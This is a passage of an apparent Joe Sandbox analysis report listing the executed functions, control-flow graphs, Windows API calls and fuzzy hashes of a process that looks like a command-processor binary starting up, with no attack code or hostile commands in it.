22558->22559 22560 d2f110 22559->22560 22563 d21eef 22559->22563 22565 d21ebc 22559->22565 22561 d272ef ApiSetQueryApiSetPresence 22560->22561 22562 d2f12e 22561->22562 22562->18676 22564 d2f15b realloc 22563->22564 22563->22565 22564->22565 22565->18676 22567 d26474 22566->22567 22568 d26464 NtOpenProcessToken 22566->22568 22569 d262fa 22567->22569 22576 d26500 NtQueryInformationToken 22567->22576 22568->22567 22569->18688 22569->18689 22572 d264a8 22572->22569 22573 d264bc NtClose 22572->22573 22573->22569 22575->18706 22577 d2648a 22576->22577 22578 d26534 22576->22578 22577->22572 22580 d264ca NtQueryInformationToken 22577->22580 22578->22577 22579 d32018 NtQueryInformationToken 22578->22579 22579->22577 22581 d264f3 22580->22581 22581->22572

                                                                                                                                                                                                                                  Executed Functions

                                                                                                                                                                                                                                  Function 00D18572 Relevance: 45.9, APIs: 15, Strings: 11, Instructions: 392COMMON
                                                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                                                  • Executed
                                                                                                                                                                                                                                  • Not Executed
                                                                                                                                                                                                                                  control_flow_graph 96 d18572-d185a6 call d18791 GetLocaleInfoW 99 d2b2f9-d2b300 96->99 100 d185ac-d185c4 GetLocaleInfoW 96->100 101 d2b302-d2b30a 99->101 102 d18602-d1861c GetLocaleInfoW 100->102 103 d185c6-d185cb 100->103 106 d2b320-d2b322 101->106 107 d2b30c-d2b313 101->107 104 d1863e-d1865e GetLocaleInfoW 102->104 105 d1861e-d18628 102->105 108 d185d1-d185d7 103->108 111 d18660-d18667 104->111 112 d18673-d18685 GetLocaleInfoW 104->112 109 d2b331-d2b334 105->109 110 d1862e-d18634 105->110 114 d2b327-d2b329 106->114 115 d2b324 106->115 107->106 113 d2b315-d2b31e 107->113 116 d18787-d18789 108->116 117 d185dd-d185e0 108->117 118 d2b336-d2b339 109->118 119 d2b358-d2b36c 109->119 110->104 111->112 120 d18669 111->120 121 d2b371-d2b378 112->121 122 d1868b-d186a0 GetLocaleInfoW 112->122 113->101 113->106 114->109 115->114 116->99 123 d185e2-d185ea 117->123 124 d185fb-d185fd 117->124 118->104 126 d2b33f-d2b353 118->126 119->104 120->112 127 d2b37a-d2b382 121->127 128 d186a6-d186b8 GetLocaleInfoW 122->128 129 d2b3a9-d2b3b0 122->129 123->116 125 d185f0-d185f9 123->125 124->102 125->108 125->124 126->104 130 d2b384-d2b38b 127->130 131 d2b398-d2b39a 127->131 132 d2b3e1-d2b3e8 128->132 133 d186be-d186d0 GetLocaleInfoW 128->133 134 d2b3b2-d2b3ba 129->134 130->131 136 d2b38d-d2b396 130->136 137 d2b39f-d2b3a1 131->137 138 d2b39c 131->138 135 d2b3ea-d2b3f2 132->135 139 d186d6-d186e8 GetLocaleInfoW 133->139 140 d2b419-d2b420 133->140 141 d2b3d0-d2b3d2 134->141 142 d2b3bc-d2b3c3 134->142 145 d2b3f4-d2b3fb 135->145 146 d2b408-d2b40a 135->146 136->127 136->131 137->129 138->137 148 d2b451-d2b458 139->148 149 d186ee-d18700 GetLocaleInfoW 139->149 147 d2b422-d2b42a 140->147 143 d2b3d7-d2b3d9 141->143 144 d2b3d4 141->144 142->141 150 d2b3c5-d2b3ce 142->150 143->132 144->143 145->146 152 d2b3fd-d2b406 145->152 153 d2b40f-d2b411 146->153 154 d2b40c 146->154 155 d2b440-d2b442 147->155 156 d2b42c-d2b433 147->156 151 d2b45a-d2b462 148->151 157 d18706-d18718 GetLocaleInfoW 149->157 158 d2b489-d2b490 149->158 150->134 150->141 161 d2b464-d2b46b 151->161 162 d2b478-d2b47a 151->162 152->135 152->146 153->140 154->153 159 d2b447-d2b449 155->159 160 d2b444 155->160 156->155 164 d2b435-d2b43e 156->164 165 d2b4c1-d2b4c8 157->165 166 d1871e-d18730 GetLocaleInfoW 157->166 163 d2b492-d2b49a 158->163 159->148 160->159 161->162 170 d2b46d-d2b476 161->170 171 d2b47f-d2b481 162->171 172 d2b47c 162->172 173 d2b4b0-d2b4b2 163->173 174 d2b49c-d2b4a3 163->174 164->147 164->155 169 d2b4ca-d2b4d2 165->169 167 d18736-d1874b GetLocaleInfoW 166->167 168 d2b4f9-d2b4fe 166->168 177 d18751-d18763 GetLocaleInfoW 167->177 178 d2b52f-d2b536 167->178 181 d2b500-d2b508 168->181 179 d2b4d4-d2b4db 169->179 180 d2b4e8-d2b4ea 169->180 170->151 170->162 171->158 172->171 175 d2b4b7-d2b4b9 173->175 176 d2b4b4 173->176 174->173 182 d2b4a5-d2b4ae 174->182 175->165 176->175 183 d2b567-d2b56c 177->183 184 d18769-d18786 setlocale call d26b30 177->184 185 d2b538-d2b540 178->185 179->180 186 d2b4dd-d2b4e6 179->186 187 d2b4ef-d2b4f1 180->187 188 d2b4ec 180->188 189 d2b50a-d2b511 181->189 190 d2b51e-d2b520 181->190 182->163 182->173 196 d2b56e-d2b576 183->196 194 d2b542-d2b549 185->194 195 d2b556-d2b558 185->195 186->169 186->180 187->168 188->187 189->190 197 d2b513-d2b51c 189->197 191 d2b522 190->191 192 d2b525-d2b527 190->192 191->192 192->178 194->195 199 d2b54b-d2b554 194->199 200 d2b55a 195->200 201 d2b55d-d2b55f 195->201 202 d2b578-d2b57f 196->202 203 d2b58c-d2b58e 196->203 197->181 197->190 199->185 199->195 200->201 201->183 202->203 206 d2b581-d2b58a 202->206 204 d2b593-d2b595 203->204 205 d2b590 203->205 205->204 206->196 206->203
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                    • Part of subcall function 00D18791: GetUserDefaultLCID.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00D16906,0000001F,?,00000080), ref: 00D18791
                                                                                                                                                                                                                                  • GetLocaleInfoW.KERNELBASE(00000000,0000001E,00D4C9E0,00000008), ref: 00D1859E
                                                                                                                                                                                                                                  • GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,00000023,?,00000080), ref: 00D185BC
                                                                                                                                                                                                                                  • GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,00000021,?,00000080), ref: 00D18614
                                                                                                                                                                                                                                  • GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,00000024,?,00000080), ref: 00D18653
                                                                                                                                                                                                                                  • GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,0000001D,00D4C9D0,00000008), ref: 00D1867D
                                                                                                                                                                                                                                  • GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,00000031,00D4C970,00000020), ref: 00D18698
                                                                                                                                                                                                                                  • GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,00000032,00D4C930,00000020), ref: 00D186B0
                                                                                                                                                                                                                                  • GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,00000033,00D4C8F0,00000020), ref: 00D186C8
                                                                                                                                                                                                                                  • GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,00000034,00D4C8B0,00000020), ref: 00D186E0
                                                                                                                                                                                                                                  • GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,00000035,00D4C870,00000020), ref: 00D186F8
                                                                                                                                                                                                                                  • GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,00000036,00D4C830,00000020), ref: 00D18710
                                                                                                                                                                                                                                  • GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,00000037,00D4C7F0,00000020), ref: 00D18728
                                                                                                                                                                                                                                  • GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,0000000E,00D4C9C0,00000008), ref: 00D18743
                                                                                                                                                                                                                                  • GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,0000000F,00D4C9B0,00000008), ref: 00D1875B
                                                                                                                                                                                                                                  • setlocale.MSVCRT ref: 00D18770
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: InfoLocale$DefaultUsersetlocale
                                                                                                                                                                                                                                  • String ID: .OCP$Fri$MM/dd/yy$Mon$Sat$Sun$Thu$Tue$Wed$dd/MM/yy$yy/MM/dd
                                                                                                                                                                                                                                  • API String ID: 1351325837-2236139042
                                                                                                                                                                                                                                  • Opcode ID: 15fa8acc3be16282664a97c961730bdc2128793bfd161bc8cf1f63051f512a97
                                                                                                                                                                                                                                  • Instruction ID: 5bcafb131453a8f2d89d8afa09b349199478dcb6d9af70717f1b7d24325c5eab
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 15fa8acc3be16282664a97c961730bdc2128793bfd161bc8cf1f63051f512a97
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 2BC1FB71700322A6DB309F39AD44BB727ACEF61768F18112AE946DA2C5EFB0C941D770
                                                                                                                                                                                                                                  Function 00D20207 Relevance: 9.2, APIs: 6, Instructions: 154fileCOMMON
                                                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                                                  • Executed
                                                                                                                                                                                                                                  • Not Executed
                                                                                                                                                                                                                                  control_flow_graph 832 d20207-d20236 833 d20239-d20242 832->833 833->833 834 d20244-d2024a 833->834 835 d20250-d20255 834->835 836 d2037d 834->836 837 d20259-d20263 835->837 840 d2e739-d2e750 _wcsicmp 836->840 838 d20265-d20268 837->838 839 d2028c-d202a9 FindFirstFileW 837->839 838->839 841 d2026a-d20270 838->841 844 d2e798-d2e79b 839->844 845 d202af-d202bf FindClose 839->845 842 d2e756-d2e75d 840->842 843 d202c5-d202cf 840->843 841->837 846 d20272-d20289 call d26b30 841->846 848 d202d2-d202dd 843->848 845->843 847 d2034d-d20351 845->847 847->842 849 d20357-d20372 _wcsnicmp 847->849 848->848 851 d202df-d202f7 848->851 849->843 853 d20378 849->853 851->836 852 d202fd-d202ff 851->852 855 d2e762-d2e764 852->855 856 d20305-d20348 memcpy call d1f3a0 852->856 853->840 858 d2e767-d2e772 855->858 856->841 858->858 860 d2e774-d2e791 memmove 858->860 860->844
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • FindFirstFileW.KERNELBASE(?,?,00000000,00000000,00000000), ref: 00D20297
                                                                                                                                                                                                                                  • FindClose.KERNELBASE(00000000), ref: 00D202B0
                                                                                                                                                                                                                                  • memcpy.MSVCRT(?,?,?), ref: 00D20311
                                                                                                                                                                                                                                  • _wcsnicmp.MSVCRT ref: 00D20367
                                                                                                                                                                                                                                  • _wcsicmp.MSVCRT ref: 00D2E746
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: Find$CloseFileFirst_wcsicmp_wcsnicmpmemcpy
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 242869866-0
                                                                                                                                                                                                                                  • Opcode ID: 4f8efd4f5033909f4401504dfebc33a141d1142b1d32004f5ce4e823ad163f50
                                                                                                                                                                                                                                  • Instruction ID: 66fedb517702dd7d542da1a620dd28039f3abae64457dd3d45796b1fdb534c25
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 4f8efd4f5033909f4401504dfebc33a141d1142b1d32004f5ce4e823ad163f50
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 3451C3755083218BC724DF28EC4856BBBE5EFE4318F19461EE889C3281E730D905CBB6
                                                                                                                                                                                                                                  Function 00D1A9D4 Relevance: 7.5, APIs: 5, Instructions: 32memoryCOMMON
                                                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • GetEnvironmentStringsW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(00000000,00000000,00D1A9C5), ref: 00D1A9D8
                                                                                                                                                                                                                                  • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,00000000,00000000), ref: 00D1A9F3
                                                                                                                                                                                                                                  • RtlAllocateHeap.NTDLL(00000000), ref: 00D1A9FA
                                                                                                                                                                                                                                  • memcpy.MSVCRT(00000000,00000000,00000000), ref: 00D1AA09
                                                                                                                                                                                                                                  • FreeEnvironmentStringsW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(00000000), ref: 00D1AA12
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: EnvironmentHeapStrings$AllocateFreeProcessmemcpy
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 429350006-0
                                                                                                                                                                                                                                  • Opcode ID: bfc694c9a04c1404b9e566445ec8aee8e792a82169dec89a1f33e4e94ac6b34d
                                                                                                                                                                                                                                  • Instruction ID: d9292f603c0a375fa3a5a02395ab542cf38b0d89a6bab75399751336f8cb6dab
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: bfc694c9a04c1404b9e566445ec8aee8e792a82169dec89a1f33e4e94ac6b34d
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: FEE01277602B3077D221276E7D88DAF2A5DDFC5662B0A0115FD09D3301DE258C4686B3
                                                                                                                                                                                                                                  Function 00D187CA Relevance: 49.3, APIs: 24, Strings: 4, Instructions: 270memorylibraryloaderCOMMON
                                                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                                                  • Executed
                                                                                                                                                                                                                                  • Not Executed
                                                                                                                                                                                                                                  control_flow_graph 0 d187ca-d18870 InitializeCriticalSection EnterCriticalSection LeaveCriticalSection SetConsoleCtrlHandler _get_osfhandle GetConsoleMode _get_osfhandle GetConsoleMode call d1e310 call d1a9d4 call d18b96 call d18273 GetCommandLineW 9 d18873-d1887c 0->9 9->9 10 d1887e-d1888a 9->10 11 d18890-d1889f call d21a05 10->11 12 d18b37-d18b38 10->12 18 d188a5-d188db GetCommandLineW call d1f3a0 call d1e3f0 11->18 19 d18b2f-d18b35 11->19 13 d18b3d-d18b43 call d178e4 12->13 20 d18b44-d18b4c call d27d18 13->20 18->19 27 d188e1-d188e9 18->27 19->13 28 d188f0-d18903 call d18e9e call d200e9 27->28 29 d188eb 27->29 34 d18906-d1890f 28->34 29->28 34->34 35 d18911-d18930 call d1a24c 34->35 38 d18932 35->38 39 d18934-d1893d 35->39 38->39 40 d189ab-d189e1 GetConsoleOutputCP GetCPInfo call d18572 GetProcessHeap HeapAlloc 39->40 41 d1893f-d18943 39->41 47 d189e3-d189f1 GetConsoleTitleW 40->47 48 d189fd-d18a03 40->48 43 d18945 41->43 44 d18947-d18951 41->44 43->44 44->40 46 d18953-d1895a 44->46 46->40 49 d1895c-d1895e 46->49 47->48 50 d189f3-d189fa 47->50 51 d18a51-d18a57 48->51 52 d18a05-d18a0f call d19a11 48->52 53 d18960 49->53 54 d18962-d18979 call d178e4 49->54 50->48 55 d18a59-d18a8b call d370d6 call d14d08 call d163bd call d19950 51->55 56 d18abb-d18b08 GetModuleHandleW GetProcAddress * 3 51->56 52->51 64 d18a11-d18a1b 52->64 53->54 65 d18980-d1898f GetWindowsDirectoryW 54->65 66 d1897b 54->66 87 d18aa7-d18ab0 call d178e4 55->87 88 d18a8d-d18aa5 call d19950 * 2 55->88 61 d18b14-d18b16 56->61 62 d18b0a-d18b0d 56->62 69 d18b17-d18b28 free call d26b30 61->69 62->61 68 d18b0f-d18b12 62->68 70 d18a1d-d18a32 GetStdHandle GetConsoleScreenBufferInfo 64->70 71 d18a4c call d38496 64->71 65->20 72 d18995-d1899d 65->72 66->65 68->61 68->69 81 d18b2d-d18b2e 69->81 75 d18a40-d18a4a 70->75 76 d18a34-d18a3e 70->76 71->51 77 d189a4-d189a6 call d18bc7 72->77 78 d1899f 72->78 75->51 75->71 76->51 77->40 78->77 94 d18ab1-d18ab5 GlobalFree 87->94 88->94 94->56
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • InitializeCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(00D4CA04), ref: 00D187EE
                                                                                                                                                                                                                                  • EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00D187FA
                                                                                                                                                                                                                                  • LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00D1880E
                                                                                                                                                                                                                                  • SetConsoleCtrlHandler.API-MS-WIN-CORE-CONSOLE-L1-1-0(00D37460,00000001), ref: 00D1881B
                                                                                                                                                                                                                                  • _get_osfhandle.MSVCRT ref: 00D18828
                                                                                                                                                                                                                                  • GetConsoleMode.KERNELBASE(00000000), ref: 00D18830
                                                                                                                                                                                                                                  • _get_osfhandle.MSVCRT ref: 00D1883C
                                                                                                                                                                                                                                  • GetConsoleMode.KERNELBASE(00000000), ref: 00D18844
                                                                                                                                                                                                                                    • Part of subcall function 00D1E310: _get_osfhandle.MSVCRT ref: 00D1E318
                                                                                                                                                                                                                                    • Part of subcall function 00D1E310: SetConsoleMode.KERNELBASE(00000000), ref: 00D1E322
                                                                                                                                                                                                                                    • Part of subcall function 00D1E310: _get_osfhandle.MSVCRT ref: 00D1E32F
                                                                                                                                                                                                                                    • Part of subcall function 00D1E310: GetConsoleMode.KERNELBASE(00000000), ref: 00D1E339
                                                                                                                                                                                                                                    • Part of subcall function 00D1E310: _get_osfhandle.MSVCRT ref: 00D1E35E
                                                                                                                                                                                                                                    • Part of subcall function 00D1E310: GetConsoleMode.KERNELBASE(00000000), ref: 00D1E368
                                                                                                                                                                                                                                    • Part of subcall function 00D1E310: _get_osfhandle.MSVCRT ref: 00D1E390
                                                                                                                                                                                                                                    • Part of subcall function 00D1E310: SetConsoleMode.KERNELBASE(00000000), ref: 00D1E39A
                                                                                                                                                                                                                                    • Part of subcall function 00D1A9D4: GetEnvironmentStringsW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(00000000,00000000,00D1A9C5), ref: 00D1A9D8
                                                                                                                                                                                                                                    • Part of subcall function 00D1A9D4: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,00000000,00000000), ref: 00D1A9F3
                                                                                                                                                                                                                                    • Part of subcall function 00D1A9D4: RtlAllocateHeap.NTDLL(00000000), ref: 00D1A9FA
                                                                                                                                                                                                                                    • Part of subcall function 00D1A9D4: memcpy.MSVCRT(00000000,00000000,00000000), ref: 00D1AA09
                                                                                                                                                                                                                                    • Part of subcall function 00D1A9D4: FreeEnvironmentStringsW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(00000000), ref: 00D1AA12
                                                                                                                                                                                                                                    • Part of subcall function 00D18B96: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,00000004,?,00D1885E), ref: 00D18B9D
                                                                                                                                                                                                                                    • Part of subcall function 00D18B96: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,00D1885E), ref: 00D18BA4
                                                                                                                                                                                                                                    • Part of subcall function 00D18273: RegOpenKeyExW.KERNELBASE(80000002,Software\Microsoft\Command Processor,00000000,02000000,?), ref: 00D182D3
                                                                                                                                                                                                                                    • Part of subcall function 00D18273: RegQueryValueExW.KERNELBASE(?,DisableUNCCheck,00000000,?,?,?), ref: 00D18313
                                                                                                                                                                                                                                    • Part of subcall function 00D18273: RegQueryValueExW.KERNELBASE(?,EnableExtensions,00000000,00000001,?,00001000), ref: 00D1834D
                                                                                                                                                                                                                                    • Part of subcall function 00D18273: RegQueryValueExW.KERNELBASE(?,DelayedExpansion,00000000,00000001,?,00001000), ref: 00D1839D
                                                                                                                                                                                                                                    • Part of subcall function 00D18273: RegQueryValueExW.KERNELBASE(?,DefaultColor,00000000,00000001,?,00001000), ref: 00D183D7
                                                                                                                                                                                                                                  • GetCommandLineW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00D1886A
                                                                                                                                                                                                                                  • GetCommandLineW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00D188A5
                                                                                                                                                                                                                                  • GetWindowsDirectoryW.API-MS-WIN-CORE-SYSINFO-L1-1-0(?,00000000,-00000105,00000000), ref: 00D18987
                                                                                                                                                                                                                                  • GetConsoleOutputCP.KERNELBASE(?,?,00000000,-00000105,00000000), ref: 00D189AB
                                                                                                                                                                                                                                  • GetCPInfo.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,00D4C9F0), ref: 00D189BC
                                                                                                                                                                                                                                    • Part of subcall function 00D18572: GetLocaleInfoW.KERNELBASE(00000000,0000001E,00D4C9E0,00000008), ref: 00D1859E
                                                                                                                                                                                                                                    • Part of subcall function 00D18572: GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,00000023,?,00000080), ref: 00D185BC
                                                                                                                                                                                                                                    • Part of subcall function 00D18572: GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,00000021,?,00000080), ref: 00D18614
                                                                                                                                                                                                                                    • Part of subcall function 00D18572: GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,00000024,?,00000080), ref: 00D18653
                                                                                                                                                                                                                                    • Part of subcall function 00D18572: GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,0000001D,00D4C9D0,00000008), ref: 00D1867D
                                                                                                                                                                                                                                    • Part of subcall function 00D18572: GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,00000031,00D4C970,00000020), ref: 00D18698
                                                                                                                                                                                                                                    • Part of subcall function 00D18572: GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,00000032,00D4C930,00000020), ref: 00D186B0
                                                                                                                                                                                                                                  • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,0000020C), ref: 00D189CD
                                                                                                                                                                                                                                  • HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000), ref: 00D189D4
                                                                                                                                                                                                                                  • GetConsoleTitleW.KERNELBASE(00000000,00000104), ref: 00D189E9
                                                                                                                                                                                                                                  • GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(000000F5,?), ref: 00D18A23
                                                                                                                                                                                                                                  • GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(00000000), ref: 00D18A2A
                                                                                                                                                                                                                                  • GlobalFree.API-MS-WIN-CORE-HEAP-L2-1-0(?), ref: 00D18AB5
                                                                                                                                                                                                                                  • GetModuleHandleW.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(KERNEL32.DLL), ref: 00D18AC0
                                                                                                                                                                                                                                  • GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(00000000,CopyFileExW), ref: 00D18AD1
                                                                                                                                                                                                                                  • GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(IsDebuggerPresent), ref: 00D18AE7
                                                                                                                                                                                                                                  • GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(SetConsoleInputExeNameW), ref: 00D18AF8
                                                                                                                                                                                                                                  • free.MSVCRT(?), ref: 00D18B18
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: Console$Info$Locale$HeapMode_get_osfhandle$QueryValue$AddressCriticalProcProcessSection$AllocCommandEnvironmentFreeHandleLineStrings$AllocateBufferCtrlDirectoryEnterGlobalHandlerInitializeLeaveModuleOpenOutputScreenTitleWindowsfreememcpy
                                                                                                                                                                                                                                  • String ID: CopyFileExW$IsDebuggerPresent$KERNEL32.DLL$SetConsoleInputExeNameW
                                                                                                                                                                                                                                  • API String ID: 3313898297-3021193919
                                                                                                                                                                                                                                  • Opcode ID: 14640a6c75c95e1ff490e115d54463f86a6efd4c55506fcbfea8ac0202174af6
                                                                                                                                                                                                                                  • Instruction ID: 8a09763b3f9f908f92ac05a97d7fa8261e0af4ee08e25a5c279610e77a4d8a74
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 14640a6c75c95e1ff490e115d54463f86a6efd4c55506fcbfea8ac0202174af6
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: FC91A471640311AFDB14EBA8FC5AABA37B5EF44712B084019F906D73A1DF709881EB36
                                                                                                                                                                                                                                  Function 00D18273 Relevance: 45.8, APIs: 18, Strings: 8, Instructions: 309registryCOMMON
                                                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                                                  • Executed
                                                                                                                                                                                                                                  • Not Executed
